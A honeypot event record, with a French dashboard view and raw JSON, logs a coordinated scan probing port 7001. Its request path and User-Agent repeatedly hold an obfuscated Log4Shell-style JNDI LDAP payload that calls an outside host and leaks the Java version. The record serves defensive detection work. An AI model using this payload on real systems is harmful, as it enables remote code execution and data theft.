"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "weblogic",
"service_banner": "honeypot-weblogic",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 4,
"multi_protocol_sample": [
"elasticsearch",
"http",
"weblogic",
"winrm"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 23,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_monitor",
"tags_list": [
"net_weblogic_probe",
"weblogic_emulated"
],
"asn_dc_heuristic": true
}
30/07/2026 18:33:13 UTC
TCP
7001 · HTTP
Sonde port 7001/TCP
port 7001 tcp · via HTTP:7001 · (sonde / probe) · → /${${mr:-j}${uq4f:i:-n}${du:w:-d}${n:-i}${n7:l:…
Élevée
Moyen · 60
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
GET /${${mr:-j}${uq4f:i:-n}${du:w:-d}${n:-i}${n7:l:-:}${ho:-l}${j089:-d}${0u:chw:-a}${3:gb:-p}${awf1:-:… UA ${${v01k:8y:-j}${9zsh:-n}${a:y:h:-d}${9tf0:-i}${8k:q0:-:}${oi8m…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950324:rce-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/${${mr:-j}${uq4f:i:-n}${du:w:-d}${n:-i}${n7:l:-:}${ho:-l}${j089:-d}${0u:chw:-a}${3:gb:-p}${awf1:-:}${hf7m:u:-/}${dw8:pkdz:-/}${dwsb:69x:-P}${d:-A}${2bn:-l}${3:-0}${8:-c}${3:2ea9:--}${${f9q1:1m2:2:-s}${m5dz:-y}${1:-s}${j:d:-:}${q:-j}${e1:su:a19:-a}${vbgz:08:-v}${8mqx:qp39:i:-a}${bu:0:3:-.}${eqd5:twzf:-v}${q:97du:-e}${s9r:-r}${rw:hm2:kw:-s}${e:as:-i}${ibpw:7b:32:-o}${2pc:8r:-n}}${akn:-.}${7wvq:3ri:-b}${r:-d}${u1:-6}${qt:-a}${g:01a7:i:-6}${bnk:z436:-7}${f7:ah7x:-1}${g1:-e}${yxdk:-d}${pr6:i1bg:-2}${e1:8u:-8}${
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
7001
Chemin / cible
/${${mr:-j}${uq4f:i:-n}${du:w:-d}${n:-i}${n7:l:-:}${ho:-l}${j089:-d}${0u:chw:-a}${3:gb:-p}${awf1:-:}${hf7m:u:-/}${dw8:pkdz:-/}${dwsb:69x:-P}${d:-A}${2bn:-l}${3…
Preuve honeypot — Sonde port 7001/TCP
Connexion détectée sur le port 7001 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_7001_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
68%
Corrélation +18
Risque capteur
Moyen
· 60
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
GET /${${mr:-j}${uq4f:i:-n}${du:w:-d}${n:-i}${n7:l:-:}${ho:-l}${j089:-d}${0u:chw:-a}${3:gb:-p}${awf1:-:}${hf7m:u:-/}${dw8:pkdz:-/}${dwsb:69x:-P}${d:-A}${2bn:-l}${3:-0}${8:-c}${3:2ea9:--}${${f9q1:1m2:2:-s}${m5dz:-y}${1:-s}${j:d:-:}${q:-j}${e1:su:a19:-a}${vbgz:08:-v}${8mqx:qp39:i:-a}${bu:0:3:-.}${eqd5:twzf:-v}${q:97du:-e}${s9r:-r}${rw:hm2:kw:-s}${e:as:-i}${ibpw:7b:32:-o}${2pc:8r:-n}}${akn:-.}${7wvq:3ri:-b}${r:-d}${u1:-6}${qt:-a}${g:01a7:i:-6}${bnk:z436:-7}${f7:ah7x:-1}${g1:-e}${yxdk:-d}${pr6:i1bg:-2}${e1:8u:-
User-Agent
${${v01k:8y:-j}${9zsh:-n}${a:y:h:-d}${9tf0:-i}${8k:q0:-:}${oi8m:no:qu:-l}${9mi0:ze:n4pl:-d}${4b:-a}${yjhl:h:-p}${ywv:-:}${t:ehq:-/}${61bp:ul:3r4c:-/}${hms:-U}${wzgm:l:-A}${wn95:qk:n:-l}${8:-0}${w:97:…
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /${${mr:-j}${uq4f:i:-n}${du:w:-d}${n:-i}${n7:l:-:}${ho:-l}${j089:-d}${0u:chw:-a}${3:gb:-p}${awf1:-:}${hf7m:u:-/}${dw8:pkdz:-
Requête brute (extrait)
GET /${${mr:-j}${uq4f:i:-n}${du:w:-d}${n:-i}${n7:l:-:}${ho:-l}${j089:-d}${0u:chw:-a}${3:gb:-p}${awf1:-:}${hf7m:u:-/}${dw8:pkdz:-/}${dwsb:69x:-P}${d:-A}${2bn:-l}${3:-0}${8:-c}${3:2ea9:--}${${f9q1:1m2:2:-s}${m5dz:-y}${1:-s}${j:d:-:}${q:-j}${e1:su:a19:-a}${vb
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "}${t:ny:6t7:-g}${c:6:oe:-o}${a:qv:-o}${cd3x:d8t:-g}}",
"http_ua_hash": "938d92637ee294683e49a65f665ebf3747fcfb73",
"http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b",
"http_target_hash": "75919897e0a03f336e1daf1f5cdc0ba15f259826",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 4.756626422388833,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 7001,
"risk_waf": 100,
"risk_classification": 60,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.9,
"risk_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25
},
"risk_score": 60,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "de1855d0d71addcae944a9824035fee426b1ebb9",
"event_fingerprint": "3cda10c33280d36013a73edeeef4fe6bac86c504",
"classification_reason": "Type \u00ab port_7001_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.68,
"classification_confidence": 0.68,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 60,
"correlation_boost": 18
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "59f037dd21157921c92d7974e9bcfe18",
"payload_hash": "6ab97fd449a2df4a8ea3f4d395c28ab9",
"path_pattern_hash": "24116eb8df618b6d7227c44748639065"
},
"target_context": {
"dst_port": 7001,
"service": "http",
"service_name": "http",
"risk_score": 60
},
"method": "GET",
"path": "\/${${mr:-j}${uq4f:i:-n}${du:w:-d}${n:-i}${n7:l:-:}${ho:-l}${j089:-d}${0u:chw:-a}${3:gb:-p}${awf1:-:}${hf7m:u:-\/}${dw8:pkdz:-\/}${dwsb:69x:-P}${d:-A}${2bn:-l}${3:-0}${8:-c}${3:2ea9:--}${${f9q1:1m2:2:-s}${m5dz:-y}${1:-s}${j:d:-:}${q:-j}${e1:su:a19:-a}${vbgz:08:-v}${8mqx:qp39:i:-a}${bu:0:3:-.}${eqd5:twzf:-v}${q:97du:-e}${s9r:-r}${rw:hm2:kw:-s}${e:as:-i}${ibpw:7b:32:-o}${2pc:8r:-n}}${akn:-.}${7wvq:3ri:-b}${r:-d}${u1:-6}${qt:-a}${g:01a7:i:-6}${bnk:z436:-7}${f7:ah7x:-1}${g1:-e}${yxdk:-d}${pr6:i1bg:-2}${e1:8u:-8}${",
"user_agent": "${${v01k:8y:-j}${9zsh:-n}${a:y:h:-d}${9tf0:-i}${8k:q0:-:}${oi8m:no:qu:-l}${9mi0:ze:n4pl:-d}${4b:-a}${yjhl:h:-p}${ywv:-:}${t:ehq:-\/}${61bp:ul:3r4c:-\/}${hms:-U}${wzgm:l:-A}${wn95:qk:n:-l}${8:-0}${w:97:-c}${p0n:--}${${xb8k:v21:-s}${e963:-y}${0hy9:9q:-s}${9ig\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${mr:-j}${uq4f:i:-n}${du:w:-d}${n:-i}${n7:l:-:}${ho:-l}${j089:-d}${0u:chw:-a}${3:gb:-p}${awf1:-:}${hf7m:u:-\/}${dw8:pkdz:-\/}${dwsb:69x:-P}${d:-A}${2bn:-l}${3:-0}${8:-c}${3:2ea9:--}${${f9q1:1m2:2:-s}${m5dz:-y}${1:-s}${j:d:-:}${q:-j}${e1:su:a19:-a}${vbgz:08:-v}${8mqx:qp39:i:-a}${bu:0:3:-.}${eqd5:twzf:-v}${q:97du:-e}${s9r:-r}${rw:hm2:kw:-s}${e:as:-i}${ibpw:7b:32:-o}${2pc:8r:-n}}${akn:-.}${7wvq:3ri:-b}${r:-d}${u1:-6}${qt:-a}${g:01a7:i:-6}${bnk:z436:-7}${f7:ah7x:-1}${g1:-e}${yxdk:-d}${pr6:i1bg:-2}${e1:8u:-",
"payload_snippet": "GET \/${${mr:-j}${uq4f:i:-n}${du:w:-d}${n:-i}${n7:l:-:}${ho:-l}${j089:-d}${0u:chw:-a}${3:gb:-p}${awf1:-:}${hf7m:u:-\/}${dw8:pkdz:-",
"evidence": {
"method": "GET",
"path": "\/${${mr:-j}${uq4f:i:-n}${du:w:-d}${n:-i}${n7:l:-:}${ho:-l}${j089:-d}${0u:chw:-a}${3:gb:-p}${awf1:-:}${hf7m:u:-\/}${dw8:pkdz:-\/}${dwsb:69x:-P}${d:-A}${2bn:-l}${3:-0}${8:-c}${3:2ea9:--}${${f9q1:1m2:2:-s}${m5dz:-y}${1:-s}${j:d:-:}${q:-j}${e1:su:a19:-a}${vbgz:08:-v}${8mqx:qp39:i:-a}${bu:0:3:-.}${eqd5:twzf:-v}${q:97du:-e}${s9r:-r}${rw:hm2:kw:-s}${e:as:-i}${ibpw:7b:32:-o}${2pc:8r:-n}}${akn:-.}${7wvq:3ri:-b}${r:-d}${u1:-6}${qt:-a}${g:01a7:i:-6}${bnk:z436:-7}${f7:ah7x:-1}${g1:-e}${yxdk:-d}${pr6:i1bg:-2}${e1:8u:-8}${",
"user_agent": "${${v01k:8y:-j}${9zsh:-n}${a:y:h:-d}${9tf0:-i}${8k:q0:-:}${oi8m:no:qu:-l}${9mi0:ze:n4pl:-d}${4b:-a}${yjhl:h:-p}${ywv:-:}${t:ehq:-\/}${61bp:ul:3r4c:-\/}${hms:-U}${wzgm:l:-A}${wn95:qk:n:-l}${8:-0}${w:97:-c}${p0n:--}${${xb8k:v21:-s}${e963:-y}${0hy9:9q:-s}${9ig\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${mr:-j}${uq4f:i:-n}${du:w:-d}${n:-i}${n7:l:-:}${ho:-l}${j089:-d}${0u:chw:-a}${3:gb:-p}${awf1:-:}${hf7m:u:-\/}${dw8:pkdz:-\/}${dwsb:69x:-P}${d:-A}${2bn:-l}${3:-0}${8:-c}${3:2ea9:--}${${f9q1:1m2:2:-s}${m5dz:-y}${1:-s}${j:d:-:}${q:-j}${e1:su:a19:-a}${vbgz:08:-v}${8mqx:qp39:i:-a}${bu:0:3:-.}${eqd5:twzf:-v}${q:97du:-e}${s9r:-r}${rw:hm2:kw:-s}${e:as:-i}${ibpw:7b:32:-o}${2pc:8r:-n}}${akn:-.}${7wvq:3ri:-b}${r:-d}${u1:-6}${qt:-a}${g:01a7:i:-6}${bnk:z436:-7}${f7:ah7x:-1}${g1:-e}${yxdk:-d}${pr6:i1bg:-2}${e1:8u:-",
"request_sample": "GET \/${${mr:-j}${uq4f:i:-n}${du:w:-d}${n:-i}${n7:l:-:}${ho:-l}${j089:-d}${0u:chw:-a}${3:gb:-p}${awf1:-:}${hf7m:u:-\/}${dw8:pkdz:-\/}${dwsb:69x:-P}${d:-A}${2bn:-l}${3:-0}${8:-c}${3:2ea9:--}${${f9q1:1m2:2:-s}${m5dz:-y}${1:-s}${j:d:-:}${q:-j}${e1:su:a19:-a}${vb",
"payload_snippet": "GET \/${${mr:-j}${uq4f:i:-n}${du:w:-d}${n:-i}${n7:l:-:}${ho:-l}${j089:-d}${0u:chw:-a}${3:gb:-p}${awf1:-:}${hf7m:u:-\/}${dw8:pkdz:-",
"classification_reason": "Type \u00ab port_7001_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "a0b29c15cbfed15b8815e9901f42db9359246fde",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${mr:-j}${uq4f:i:-n}${du:w:-d}${n:-i}${n7:l:-:}${ho:-l}${j089:-d}${0u:chw:-a}${3:gb:-p}${awf1:-:}${hf7m:u:-\/}${dw8:pkdz:-\/}${dwsb:69x:-P}${d:-A}${2bn:-l}${3\u2026",
"request_line": "GET \/${${mr:-j}${uq4f:i:-n}${du:w:-d}${n:-i}${n7:l:-:}${ho:-l}${j089:-d}${0u:chw:-a}${3:gb:-p}${awf1:-:}${hf7m:u:-\/}${dw8:pkdz:-\/}${dwsb:69x:-P}${d:-A}${2bn:-l}${3:-0}${8:-c}${3:2ea9:--}${${f9q1:1m2:\u2026",
"http_user_agent": "${${v01k:8y:-j}${9zsh:-n}${a:y:h:-d}${9tf0:-i}${8k:q0:-:}${oi8m:no:qu:-l}${9mi0:ze:n4pl:-d}${4b:-a}${yjhl:h:-p}${ywv:-:\u2026",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/${${mr:-j}${uq4f:i:-n}${du:w:-d}${n:-i}${n7:l:-:}${ho:-l}${j089:-d}${0u:chw:-a}${3:gb:-p}${awf1:-:}${hf7m:u:-\/}${dw8:pkdz:-",
"attack_vector": "port 7001 tcp \u00b7 via HTTP:7001 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${mr:-j}${uq4f:i:-n}${du:w:-d}${n:-i}${n7:l:\u2026",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_7001_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_7001_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 60\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 68 % \u2014 via HTTP \u2014 multi-protocole (3 protocoles \u00b7 5 min)",
"confidence_pct": 68,
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 60,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 60,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${mr:-j}${uq4f:i:-n}${du:w:-d}${n:-i}${n7:l:-:}${ho:-l}${j089:-d}${0u:chw:-a}${3:gb:-p}${awf1:-:}${hf7m:u:-\/}${dw8:pkdz:-\/}${dwsb:69x:-P}${d:-A}${2bn:-l}${3\u2026",
"request_line": "GET \/${${mr:-j}${uq4f:i:-n}${du:w:-d}${n:-i}${n7:l:-:}${ho:-l}${j089:-d}${0u:chw:-a}${3:gb:-p}${awf1:-:}${hf7m:u:-\/}${dw8:pkdz:-\/}${dwsb:69x:-P}${d:-A}${2bn:-l}${3:-0}${8:-c}${3:2ea9:--}${${f9q1:1m2:\u2026",
"http_user_agent": "${${v01k:8y:-j}${9zsh:-n}${a:y:h:-d}${9tf0:-i}${8k:q0:-:}${oi8m:no:qu:-l}${9mi0:ze:n4pl:-d}${4b:-a}${yjhl:h:-p}${ywv:-:\u2026",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 7001 tcp \u00b7 via HTTP:7001 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${mr:-j}${uq4f:i:-n}${du:w:-d}${n:-i}${n7:l:\u2026",
"evidence_snippet": "GET \/${${mr:-j}${uq4f:i:-n}${du:w:-d}${n:-i}${n7:l:-:}${ho:-l}${j089:-d}${0u:chw:-a}${3:gb:-p}${awf1:-:}${hf7m:u:-\/}${dw8:pkdz:-",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 68 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 3,
"multi_protocol_sample": [
"elasticsearch",
"http",
"winrm"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 23,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_web_probe"
],
"asn_dc_heuristic": true
}